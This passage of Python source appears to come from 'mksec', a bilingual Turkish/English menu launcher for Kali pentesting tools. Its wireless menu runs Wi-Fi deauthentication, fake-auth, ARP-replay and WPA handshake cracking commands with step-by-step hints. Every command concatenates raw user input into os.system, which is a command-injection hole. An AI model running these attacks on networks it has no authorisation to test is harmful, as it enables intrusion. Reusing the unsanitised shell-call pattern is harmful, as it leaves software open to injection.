os.system('printf "\033c"') if "about" in uinput.lower(): about() if "exit" in uinput.lower() or "quit" in uinput.lower(): quit() if "help" in uinput.lower() or "?" in uinput.lower(): os.system("clear") help() if "about" in uinput.lower(): os.system("clear") about() # categories def mksectools(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tMksec Tools\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Pythoncompiler") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.lower().strip() if uinput == "1": os.system("clear") pythonCompiler() elif uinput == "pythoncompiler": os.system("clear") pythonCompiler() elif uinput == "": os.system("clear") informationGathering() elif uinput == "exit": quit() elif uinput == "quit": quit() elif uinput == "help": os.system("clear") help() elif uinput == "-h": os.system("clear") help() elif uinput == "--help": os.system("clear") help() elif uinput == "?": os.system("clear") help() elif uinput == "about": os.system("clear") about() elif uinput == "back": os.system("clear") MainMenu() else: os.system("clear") informationGathering() def showAllTools(): print("\x1b[1m\x1b[36m\n\x1b[7m\tAll Tools\n\x1b[0m\x1b[1m\n\x1b[36m Dmitry\n\x1b[36m Ike-scan\n\x1b[36m Netdiscover\n\x1b[36m Nbtscan\n\x1b[36m Nmap\n\x1b[36m Theharvester\n\x1b[36m More (Information Gathering)\n\x1b[36m Nikto\n\x1b[36m Unix-privesc-check\n\x1b[36m Chrootkit\n\x1b[36m Lynis\\x1b[36m Nessus\n\x1b[36m Skipfish\n\x1b[36m Wpscan\n\x1b[36m Sqlmap\n\x1b[36m Cewl\n\x1b[36m Crunch\n\x1b[36m Hashcat\n\x1b[36m John\n\x1b[36m Medusa\n\x1b[36m Ncrack\n\x1b[36m Hash-identifier\n\x1b[36m Wordlists\n\x1b[36m ***wifi araclari eklenecek***\n\x1b[36m Payload Creator and Listener\n\x1b[36m Searchsploit\n\x1b[36m Veil\n\x1b[36m Macchanger\n\x1b[36m Mitmproxy\n\x1b[36m Netsniff-ng\n\x1b[36m Responder\n\x1b[36m Arpspoof\n\x1b[36m Exe2hex\n\x1b[36m Weevely\n\x1b[36m Binwalk\n\x1b[36m Bulk_Extractor\n\x1b[36m Foremost\n\x1b[36m Hashdeep\n\x1b[36m Cutycapt\n\x1b[36m Pipal\n\x1b[36m Find (Linux Commands)\n\x1b[36m Grep (Linux Commands)\n\x1b[36m Man (Linux Commands)\n\x1b[36m Cli (Linux Commands)\n\x1b[36m All Linux Commands\n") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[all_tools]\033[37m\x1b[0m ") uinput = uinput.strip().lower() Tools(uinput) UserInputs(uinput+"mainmenu") if uinput == "": os.system("clear") showAllTools() elif uinput == "banner" or "menu" == uinput: os.system("clear") MainMenu() def informationGathering(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tInformation Gathering\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Dmitry\n\x1b[37m02\x1b[36m Ike-scan\n\x1b[37m03\x1b[36m Netdiscover\n\x1b[37m04\x1b[36m Nbtscan\n\x1b[37m05\x1b[36m Nmap\n\x1b[37m06\x1b[36m Theharvester\n\x1b[37m07\x1b[36m More") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "dmitry": dmitry() elif uinput == "2" or uinput == "02" or uinput == "ike-scan": ikeScan() elif uinput == "3" or uinput == "03" or uinput == "netdiscover": netdiscover() elif uinput == "4" or uinput == "04" or uinput == "nbtscan": nbtscan() elif uinput == "5" or uinput == "05" or uinput == "nmap": nmap() elif uinput == "6" or uinput == "06" or uinput == "theharvester": theHarvester() elif uinput == "7" or uinput == "07" or uinput == "information gathering more": informationGatheringMore() elif uinput == "": os.system("clear") informationGathering() def vulnerabilityAnalysisTools(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tVulnerability Analysis Tools\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Nikto\x1b[37m\n\x1b[37m02\x1b[36m Unix-privesc-check\n\x1b[37m03\x1b[36m Chrootkit\n\x1b[37m04\x1b[36m Lynis\n\x1b[37m05\x1b[36m Nessus") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "nikto": nikto() elif uinput == "2" or uinput == "02" or uinput == "unix-privesc-check": unixPrivescCheck() elif uinput == "3" or uinput == "03" or uinput == "chkrootkit": chkrootkit() elif uinput == "4" or uinput == "04" or uinput == "lynis": lynis() elif uinput == "5" or uinput == "05" or uinput == "nessus": nessus() elif uinput == "": os.system("clear") vulnerabilityAnalysisTools() def webApplicationAnalysis(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tWeb Application Analysis\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Skipfish\n\x1b[37m02\x1b[36m Wpscan\n\x1b[37m03\x1b[36m Sqlmap") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "skipfish": skipfish() elif uinput == "2" or uinput == "02" or uinput == "wpscan": wpscan() elif uinput == "3" or uinput == "03" or uinput == "sqlmap": sqlmap() elif uinput == "": os.system("clear") webApplicationAnalysis() def passwordAttacks(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tPassword Attacks\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Cewl\n\x1b[37m02\x1b[36m Crunch\n\x1b[37m03\x1b[36m Hashcat\n\x1b[37m04\x1b[36m John\n\x1b[37m05\x1b[36m Medusa\n\x1b[37m06\x1b[36m Ncrack\n\x1b[37m07\x1b[36m Hash-identifier\n\x1b[37m08\x1b[36m Wordlist") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "cewl": cewl() elif uinput == "2" or uinput == "02" or uinput == "crunch": crunch() elif uinput == "3" or uinput == "03" or uinput == "hashcat": hashcat() elif uinput == "4" or uinput == "04" or uinput == "john": john() elif uinput == "5" or uinput == "05" or uinput == "medusa": medusa() elif uinput == "6" or uinput == "06" or uinput == "ncrack": ncrack() elif uinput == "7" or uinput == "07" or uinput == "hashid" or uinput == "hash-identifier": hashIdentifier() elif uinput == "8" or uinput == "08" or uinput == "wordlists" or uinput == "wordlist": wordlists() elif uinput == "": os.system("clear") passwordAttacks() def wirelessAttacks(): RandomBannerSelector() os.system("""echo \x1b[1m\x1b[36m' \x1b[7mWireless Attacks\x1b[0m\x1b[1m \x1b[37m1\x1b[36m Monitor Mode \x1b[37m2\x1b[36m Managed Mode \x1b[37m3\x1b[36m Airodump-ng ile Butun Aglari Izle \x1b[37m4\x1b[36m Airodump-ng ile Hedef Agi Detayli Incele \x1b[37m5\x1b[36m Aireplay-ng ile Deauth (Agdan Dusurme) Saldirisi \x1b[37m6\x1b[36m Aircrack-ng ile Wep Cracking \x1b[37m7\x1b[36m Aireplay-ng ile Fake Auth \x1b[37m8\x1b[36m Fake Auth Sonrasi Paket Yollamak \x1b[37m9\x1b[36m Wpa Handshake Yakala \x1b[37m10\x1b[36m Wpa Cracking'""") userInput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") userInput = userInput.strip().lower() if userInput == "1": os.system("iwconfig") interface = input("\033[36m[mksec]\033[36m[interface]\033[0m ") os.system("ifconfig " + interface + " down") os.system("iwconfig " + interface + " mode monitor") os.system("ifconfig " + interface + " up") os.system("iwconfig") wirelessAttacks() # 1>> airmon-ng start wlan0 (monitor mode) # bu sayede monitor mode' a gecebiliriz. # kontrol etmek icin ifconfig kullan. # 2>> airmon-ng stop wlan0mon # bu sayede monitor mode' u devredisi birak. # kontrol etmek icin ifconfig kullan. elif userInput == "2": os.system("iwconfig") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("ifconfig " + interface + " down") os.system("iwconfig " + interface + " mode managed") os.system("ifconfig " + interface + " up") os.system("iwconfig") wirelessAttacks() elif userInput == "3": os.system("iwconfig") os.system("echo 'monitor mode kullandiginizdan emin olun'") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("airodump-ng " + interface) elif userInput == "4": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo 'once butun aglari inceleyin ve daha sonra kendinize hedef ag belirleyin\nhedef agin channel, bssid bilgilerini almaniz yeterlidir'") ch = input("\x1b[1m\033[36m[mksec]\033[36m[channel]\033[37m\x1b[0m ") bssid = input("\x1b[1m\033[36m[mksec]\033[36m[bssid]\033[37m\x1b[0m ") os.system("echo '\033[33mex:/root/Desktop/mksec\033[32m' ") write = input("\x1b[1m\033[36m[mksec]\033[36m[output]\033[37m\x1b[0m ") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("airodump-ng --channel " + ch + " --bssid " + bssid + " --write " + write + " " + interface) elif userInput == "5": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo 'once hedef aga bagli cihazlarin station bilgisini almalisiniz. station: hedef cihazin mac adresidir\nayrica hedef modemin bssid si gereklidir'") os.system("echo '\033[33mattack type\nex:10 = kisa sureli, 10000 = uzun sureli\033[32m' ") deauth = input("\x1b[1m\033[36m[mksec]\033[36m[deauth.packages]\033[37m\x1b[0m ") router = input("\x1b[1m\033[36m[mksec]\033[36m[router.bssid]\033[37m\x1b[0m ") target = input("\x1b[1m\033[36m[mksec]\033[36m[target.station]\033[37m\x1b[0m ") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("aireplay-ng --deauth " + deauth + " -a " + router + " -c " + target + " " + interface) elif userInput == "6": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo '\033[33monce 4. islemi yeni terminalde acik birakin ardindan bunu yapin\033[32m' ") os.system("echo '\033[33mex:/root/Desktop/test-01.cap\033[32m' ") location = input("\x1b[1m\033[36m[mksec]\033[36m[cap.file.location]\033[37m\x1b[0m ") os.system("aircrack-ng " + location + "") elif userInput == "7": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo '\033[33monce 4. islemi yeni terminalde acik birakin ardindan bunu yapin\033[32m' ") router = input("\x1b[1m\033[36m[mksec]\033[36m[router.bssid]\033[37m\x1b[0m ") os.system("iwconfig") os.system("ip addr") wifimac = input("\x1b[1m\033[36m[mksec]\033[36m[your.wifi.mac.addr]\033[37m\x1b[0m ") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("aireplay-ng --fakeauth 0 -a " + router + " -h " + wifimac + " " + interface) elif userInput == "8": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo '\033[33monce 4. islemi yeni terminalde acik birakin ardindan bunu yapin\033[32m' ") os.system("echo 'fake auth yaptiginiza emin olun'") router = input("\x1b[1m\033[36m[mksec]\033[36m[router.bssid]\033[37m\x1b[0m ") os.system("iwconfig") os.system("ip addr") wifimac = input("\x1b[1m\033[36m[mksec]\033[36m[your.wifi.mac.addr]\033[37m\x1b[0m ") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("aireplay-ng --arpreplay -b " + router + " -h " + wifimac + " " + interface) elif userInput == "9": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo '\033[33monce 4. islemi yeni terminalde acik birakin ardindan bunu yapin. kisa sureli deauth yapin ve 4. islemin sag ust kosesinde wpa handshake yazdiginda ctrl+c ile durdurun\033[32m' ") os.system("echo '\033[33mattack type\nex:10 = kisa sureli, 10000 = uzun sureli\033[32m' ") deauth = input("\x1b[1m\033[36m[mksec]\033[36m[deauth.packages]\033[37m\x1b[0m ") router = input("\x1b[1m\033[36m[mksec]\033[36m[router.bssid]\033[37m\x1b[0m ") target = input("\x1b[1m\033[36m[mksec]\033[36m[target.station]\033[37m\x1b[0m ") interface = input("\x1b[1m\033[36m[mksec]\033[36m[interface]\033[37m\x1b[0m ") os.system("aireplay-ng --deauth " + deauth + " -a " + router + " -c " + target + " " + interface) elif userInput == "10": os.system("echo 'monitor mode kullandiginizdan emin olun'") os.system("echo '\033[33monce 4. islemi yeni terminalde acik birakin ardindan bunu yapin\033[32m' ") os.system("echo '\033[33mex : /root/Desktop/handshake-file-01.cap\033[32m' ") handshake = input("\x1b[1m\033[36m[mksec]\033[36m[handshake.file]\033[37m\x1b[0m ") os.system("echo '\033[33mex : /root/Desktop/wordlist\033[32m' ") wordlist = input("\x1b[1m\033[36m[mksec]\033[36m[wordlist.file]\033[37m\x1b[0m ") os.system("aircrack-ng " + handshake + " -w " + wordlist) elif userInput == "": os.system("clear") wirelessAttacks() elif userInput == "exit": quit() elif userInput == "quit": quit() elif userInput == "help": os.system("clear") help() elif userInput == "-h": os.system("clear") help() elif userInput == "--help": os.system("clear") help() elif userInput == "?": os.system("clear") help() elif userInput == "about": os.system("clear") about() elif userInput == "back": os.system("clear") MainMenu() else: os.system("clear") wirelessAttacks() def exploitationTools(): RandomBannerSelector() print("\x1b[1m\x1b[36m\x1b[7m\n\tExploitation Tools\n\n\x1b[0m\x1b[1m\x1b[37m01\x1b[36m Payload Creator and Listener\n\x1b[37m02\x1b[36m Searchsploit\n\x1b[37m03\x1b[36m Veil") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "payload creator and listener": PayloadCreatorAndListener() elif uinput == "2" or uinput == "02" or uinput == "searchsploit": searchsploit() elif uinput == "3" or uinput == "03" or uinput == "veil": veil() elif uinput == "": os.system("clear") exploitationTools() def sniffingSpoofing(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tSniffing & Spoofing\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Macchanger\n\x1b[37m02\x1b[36m Mitmproxy\n\x1b[37m03\x1b[36m Netsniff-ng\n\x1b[37m04\x1b[36m Responder\n\x1b[37m05\x1b[36m Arpspoof") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "macchanger": macchanger() elif uinput == "2" or uinput == "02" or uinput == "mitmproxy": macchanger() elif uinput == "3" or uinput == "03" or uinput == "netsniff-ng": macchanger() elif uinput == "4" or uinput == "04" or uinput == "responder": responder() elif uinput == "5" or uinput == "05" or uinput == "arpspoof": arpspoof() elif uinput == "": os.system("clear") sniffingSpoofing() def postExploitation(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tPost Exploitation\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Exe2hex\n\x1b[37m02\x1b[36m Weevely\n\x1b[37m03\x1b[36m Veil") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "exe2hex": exe2hex() elif uinput == "2" or uinput == "02" or uinput == "weevely": weevely() elif uinput == "3" or uinput == "03" or uinput == "veil": veil() elif uinput == "": os.system("clear") postExploitation() def forensics(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tForensics\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Binwalk\n\x1b[37m02\x1b[36m Bulk_extractor\n\x1b[37m03\x1b[36m Foremost\n\x1b[37m04\x1b[36m Hashdeep") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "binwalk": binwalk() elif uinput == "2" or uinput == "02" or uinput == "bulk_extractor": bulkExtractor() elif uinput == "3" or uinput == "03" or uinput == "foremost": foremost() elif uinput == "4" or uinput == "04" or uinput == "hashdeep": hashdeep() elif uinput == "": os.system("clear") forensics() def reportingTools(): RandomBannerSelector() print("""\x1b[1m\x1b[36m\n\x1b[7m\tReporting Tools\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Cutycapt\n\x1b[37m02\x1b[36m Pipal""") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "cutycapt": cutycapt() elif uinput == "2" or uinput == "02" or uinput == "pipal": pipal() elif uinput == "": os.system("clear") reportingTools() def linuxcommands(): RandomBannerSelector() print("\x1b[1m\x1b[36m\n\x1b[7m\tLinux Commands\n\x1b[0m\x1b[1m\n\x1b[37m01\x1b[36m Find\n\x1b[37m02\x1b[36m Grep\n\x1b[37m03\x1b[36m Man\n\x1b[37m04\x1b[36m Cli\n\x1b[37m05\x1b[36m All Linux Commands") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") uinput = uinput.strip().lower() UserInputs(uinput+"mainmenu") if uinput == "1" or uinput == "01" or uinput == "find": os.system("clear") find() elif uinput == "2" or uinput == "02" or uinput == "grep": os.system("clear") grep() elif uinput == "3" or uinput == "03" or uinput == "man": os.system("clear") man() elif uinput == "4" or uinput == "04" or uinput == "cli": os.system("clear") cli() elif uinput == "5" or uinput == "05" or uinput == "alc": os.system("clear") alc() elif uinput == "": os.system("clear") linuxcommands() # tools def dmitry(): url = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[dmitry]\033[37m\x1b[0m ") UserInputs(uinput+"information") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mCollects information from the target site.\n\x1b[33mTR:\x1b[37mHedef siteden bilgi toplar.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nURL {} YES Target site \x1b[32mex: test.com\x1b[37m\nOUTPUT{} YES Where you want to save? \x1b[32mex: /root/Desktop/test\x1b[37m".format(url,output)) elif "set url" in uinput.lower(): url = uinput url = url.replace("set url ","").replace("set URL ","").replace("SET url ","").replace("SET URL ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif uinput.lower() == "run": os.system("sudo dmitry -winsepf " + url.strip() + " -o " + output.strip()) def ikeScan(): ip = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[ike-scan]\033[37m\x1b[0m ") UserInputs(uinput+"information") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mTests whether the IP address is a VPN server. \x1b[1m\x1b[33mEX:\x1b[37m Search 'ike' on Shodan and test the resulting ip address.\n\x1b[33mTR:\x1b[37mIP adresinin vpn server olup olmadigini test eder. \x1b[33mÖRN: \x1b[37mShodan üzerinden 'ike' aramasını yap ve çıkan ip adresini test et.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIP {} YES Target ip address \x1b[32mex: 108.96.10.8\x1b[37m".format(ip)) elif "set ip" in uinput.lower(): ip = uinput ip = ip.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "run" in uinput.lower(): os.system("sudo ike-scan " + ip.strip()) def netdiscover(): youriface = os.popen('ip addr').read().split("2:")[1].split(":")[0] ipv4 = os.popen('ip addr show {}'.format(youriface)).read().split("inet ")[1].split("/")[0] iprange = " " iface = " {} ".format(youriface) while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[netdiscover]\033[37m\x1b[0m ") UserInputs(uinput+"information") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mScans devices on the local network. Displays IP addresses.\n\x1b[33mTR:\x1b[37mLocal ağdaki cihazları tarar. IP adreslerini görüntüler.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIFACE {} YES Your interface =\x1b[32m{}\x1b[37m\nIP {} YES Your IP address = \x1b[32m{} \x1b[36mex: /24, /16, /8\x1b[37m".format(iface,youriface,iprange,ipv4)) elif "set ip" in uinput.lower(): iprange = uinput iprange = iprange.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "set iface" in uinput.lower(): iface = uinput iface = iface.replace("set iface ","").replace("set IFACE ","").replace("SET iface ","").replace("SET IFACE ","").center(25) elif "run" in uinput.lower(): os.system("sudo netdiscover -i " + iface.strip() + " -r " + iprange.strip()) def nbtscan(): ip = " " youriface = os.popen('ip addr').read().split("2:")[1].split(":")[0] ipv4 = os.popen('ip addr show {}'.format(youriface)).read().split("inet ")[1].split("/")[0] while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[nbtscan]\033[37m\x1b[0m ") UserInputs(uinput+"information") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mScans devices on the local network with netbios. Displays IP addresses.\n\x1b[33mTR:\x1b[37mLocal ağdaki cihazları netbios ile tarar. IP adreslerini görüntüler.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIP {} YES Your IP address = \x1b[32m{} \x1b[36mex: /24, /16, /8\x1b[37m".format(ip,ipv4)) elif "set ip" in uinput.lower(): ip = uinput ip = ip.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "run" in uinput.lower(): os.system("sudo nbtscan " + ip.strip()) def theHarvester(): domain = " " output = " " source = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[theharvester]\033[37m\x1b[0m ") UserInputs(uinput+"information") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mScans the target site in search engines (google, shodan etc...). If the \x1b[36m'run'\x1b[37m command does not work, try with \x1b[36m'run -f'\x1b[37m (-f : --force). \n\x1b[33mTR:\x1b[37mHedef siteyi arama motorlarında(google,shodan vs...)tarar. \x1b[36m'run'\x1b[37m komutu çalışmazsa \x1b[36m'run -f'\x1b[37m (-f : --force) ile deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nDOMAIN {} YES Target domain \x1b[32mex: test.com\x1b[37m\nOUTPUT {} YES Where you want to save? \x1b[32mex: /root/Desktop/test\x1b[37m\nSOURCE {} YES From which source? Multiple sources can be added. To view resources: \x1b[32m'--sources'\x1b[37m".format(domain,output,source)) elif "set domain" in uinput.lower(): domain = uinput domain = domain.replace("set domain ","").replace("set DOMAIN ","").replace("SET domain ","").replace("SET DOMAIN ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "set source" in uinput.lower(): source = uinput source = source.replace("set source ","").replace("set SOURCE ","").replace("SET source ","").replace("SET SOURCE ","").center(25) elif "--sources" == uinput.lower(): print("\x1b[1m\x1b[32mbaidu, bing, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, exalead, github-code, google, hackertarget, hunter, intelx, linkedin,linkedin_links, netcraft, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello,twitter, urlscan, virustotal, yahoo\x1b[32m") elif "run" == uinput.lower(): os.system("theHarvester -d " + domain.strip() + " -l 50 -b " + source.strip() + " -f " + output.strip()) elif "run -f" == uinput.lower(): os.system("cd /opt/theHarvester/ && python3 theHarvester.py -d " + domain.strip() + " -l 50 -b " + source.strip() + " -f " + output.strip()) def nmap(): ip = " " port = " " special = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[nmap]\033[37m\x1b[0m ") UserInputs(uinput+"information") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mNmap, short for Network Mapper, is a free, open-source tool for vulnerability scanning and network discovery.\n\x1b[33mTR:\x1b[37mNetwork Mapper'ın kısaltması olan Nmap, güvenlik açığı taraması ve ağ keşfi için ücretsiz, açık kaynaklı bir araçtır. ") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIP {} YES Target IP address \x1b[32mex: test.com / 108.96.10.8 / 108.96.10.8/16\x1b[37m\nPORT {} OPT Target port(s) \x1b[36mdefault: --top-ports 1000 \x1b[32mex: -p- / -p21,-80 / p21-443\x1b[37m\nSPECIAL {} OPT Optionally more parameters can be added for nmap. To see the parameters: \x1b[32m'--parameters' or '-p'\x1b[37m".format(ip,port,special)) elif "--param" in uinput.lower() or "-p" == uinput.lower(): print("\x1b[1m\x1b[33mParameters\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m==========\x1b[37m \x1b[33m===========\x1b[37m\n\x1b[32m-v:\x1b[37m \x1b[33mEN:\x1b[37m Verbose. \x1b[33mTR:\x1b[37m Ayrıntılı bilgi.\n\x1b[32m-vv:\x1b[37m \x1b[33mEN:\x1b[37m More verbose. \x1b[33mTR:\x1b[37m Daha ayrıntılı bilgi.\n\x1b[32m-p-:\x1b[37m \x1b[33mEN:\x1b[37m Scans all ports. \x1b[33mTR:\x1b[37m Bütün portları tarar.\n\x1b[32m-p 1-100:\x1b[37m \x1b[33mEN:\x1b[37m Scans all ports 1 to 100. \x1b[33mTR:\x1b[37m 1 ile 100 arasındaki bütün portları tarar.\n\x1b[32m-sS:\x1b[37m \x1b[33mEN:\x1b[37m Does a SYN scan. (This is the fastest scan.) \x1b[33mTR:\x1b[37m SYN taraması yapar. (En hızlı taramadır.)\n\x1b[32m-sV:\x1b[37m \x1b[33mEN:\x1b[37m Service version scan. (FTP, SSH, Telnet etc...) \x1b[33mTR:\x1b[37m Servis versiyon taramasıdır. (FTP, SSH , Telnet vs...)\n\x1b[32m-sT:\x1b[37m \x1b[33mEN:\x1b[37m Tries to establish a connection by capturing a handshake. (SYN,SYN-ACK,ACK) (Not recommended because it leaves logs and can be blocked by firewall.)\n \x1b[33mTR:\x1b[37m Handshake yakalayarak bağlantı kurmaya çalışır. (SYN,SYN-ACK,ACK) (Önerilmez çünkü log kaydı bırakır ve firewall tarafından engellenebilir.)\n\x1b[32m-sU:\x1b[37m \x1b[33mEN:\x1b[37m Scans for UDP. \x1b[33mTR:\x1b[37m UDP taraması yapar.\n\x1b[32m-sA:\x1b[37m \x1b[33mEN:\x1b[37m Scans for ACK. (Usually for firewall) \x1b[33mTR:\x1b[37m ACK taraması yapar. (Genellikle firewall için)\n\x1b[32m-sP:\x1b[37m \x1b[33mEN:\x1b[37m Tests whether the systems are on or off by pinging. \x1b[33mTR:\x1b[37m Ping atarak sistemlerin açık - kapalı olduğunu test eder.\n\x1b[32m-A:\x1b[37m \x1b[33mEN:\x1b[37m Aggressive scanning (nmap .nse(\x1b[36mN\x1b[37mmap \x1b[36mS\x1b[37mcript \x1b[36mE\x1b[37mngine) runs all scripts.) \x1b[33mTR:\x1b[37m Agresif tarama (nmap .nse(\x1b[36mN\x1b[37mmap \x1b[36mS\x1b[37mcript \x1b[36mE\x1b[37mngine) scriptlerin hepsini çalıştırır.)\n\x1b[32m-O:\x1b[37m \x1b[33mEN:\x1b[37m Operating system detection. \x1b[33mTR:\x1b[37m İşletim sistemi tespiti yapmaya çalışır.\n\x1b[32m-Pn:\x1b[37m \x1b[33mEN:\x1b[37m No ping.\n\x1b[32m-PS:\x1b[37m \x1b[33mEN:\x1b[37m Sends TCP SYN packets. \x1b[33mTR:\x1b[37m TCP SYN paketleri gönderir.\n\x1b[32m-PA:\x1b[37m \x1b[33mEN:\x1b[37m Sends TCP ACK packets. \x1b[33mTR:\x1b[37m TCP ACK paketleri gönderir.\n\x1b[32m-PU:\x1b[37m \x1b[33mEN:\x1b[37m Sends UDP packets. \x1b[33mTR:\x1b[37m UDP paketleri gönderir.\n\x1b[32m-PE:\x1b[37m \x1b[33mEN:\x1b[37m Tests whether the systems are on or off using ICMP packets. \x1b[33mTR:\x1b[37m ICMP paketleri kullanarak sistemlerin açık - kapalı olduğunu test eder.\n\x1b[32m-PR:\x1b[37m \x1b[33mEN:\x1b[37m Tests whether the systems are on or off using ARP packages. \x1b[33mTR:\x1b[37m ARP paketleri 